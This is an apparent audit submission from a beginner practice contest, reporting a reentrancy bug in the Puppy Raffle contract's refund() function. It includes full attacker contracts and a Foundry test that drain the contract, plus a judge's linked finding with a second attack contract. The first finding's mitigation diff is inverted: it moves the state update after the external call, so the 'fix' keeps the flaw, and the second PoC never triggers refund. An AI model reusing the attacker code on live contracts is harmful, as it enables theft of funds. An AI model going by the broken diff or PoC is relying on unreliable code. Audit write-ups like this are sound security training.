Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

[H-1] Reentrancy attack in `PuppyRaffle::refund()` allows entrant to drain the balance.

Description

ThePuppyRaffle::refund() function does not follow the CEI(Check-Effect-Interactions) and as a result, it allows participant to drain the contract balance. In PuppyRaffle::refund() function, we first make a external call to the msg.sender address and only after that we update the PuppyRaffle::players array.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(
playerAddress == msg.sender,
"PuppyRaffle: Only the player can refund"
);
require(
playerAddress != address(0),
"PuppyRaffle: Player already refunded, or is not active"
);
​
@> payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
​
emit RaffleRefunded(playerAddress);
}

A player who has entered raffle could have a recieve()orfallback() function that calls PuppyRaffle::refund() function again and claim another refund. They could continue the cycle till contract balance is drained.


Impact

All fees paid by entrace could be stolen by malicious participant.

Proof of code

  1. User enter raffle

  2. Attacker set up a malicious contract with a fallback function that calls PuppyRaffle::refund()

  3. Attack enters raffle

  4. Attack call PuppyRaffle::refund() from their malicous contract to drain contract balance.

<details>
<summary>Poc Code</summary>
​
Place the following into `PuppyRaffle.t.sol`
​
```js
function test_reentrancyAttack() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
ReentrancyAttacker attackerContract = new ReentrancyAttacker(
puppyRaffle
);
address attackUser = makeAddr("attackUser");
vm.deal(attackUser, 1 ether);
​
uint256 startingAttackContractBalance = address(attackerContract)
.balance;
uint256 startingContractBalance = address(puppyRaffle).balance;
​
vm.prank(attackUser);
attackerContract.attack{value: entranceFee}();
​
console2.log(
"starting AttackCountrat Balance: ",
startingAttackContractBalance
);
console2.log("starting contract Balance: ", startingContractBalance);
​
console2.log(
"ending AttackCountrat Balance: ",
address(attackerContract).balance
);
console2.log("ending Contract Balance: ", address(puppyRaffle).balance);
}
```
And this contract as well.
​
```javascript
contract ReentrancyAttacker {
PuppyRaffle puppyRaffle;
uint256 entranceFee;
uint256 attackIndex;
​
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
entranceFee = puppyRaffle.entranceFee();
}
​
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
​
attackIndex = puppyRaffle.getActivePlayerIndex(address(this));
​
puppyRaffle.refund(attackIndex);
}
​
function _stealmoney() internal {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackIndex);
}
}
​
fallback() external payable {
_stealmoney();
}
​
receive() external payable {
_stealmoney();
}
}
```
​
</details>

Mitigation

To prevent this, we should have the PuppyRaffle::refund() function update the players before making the external call. Additionally, we should moved event emission up as well.

```diff
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(
playerAddress == msg.sender,
"PuppyRaffle: Only the player can refund"
);
require(
playerAddress != address(0),
"PuppyRaffle: Player already refunded, or is not active"
);
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
}
```
​

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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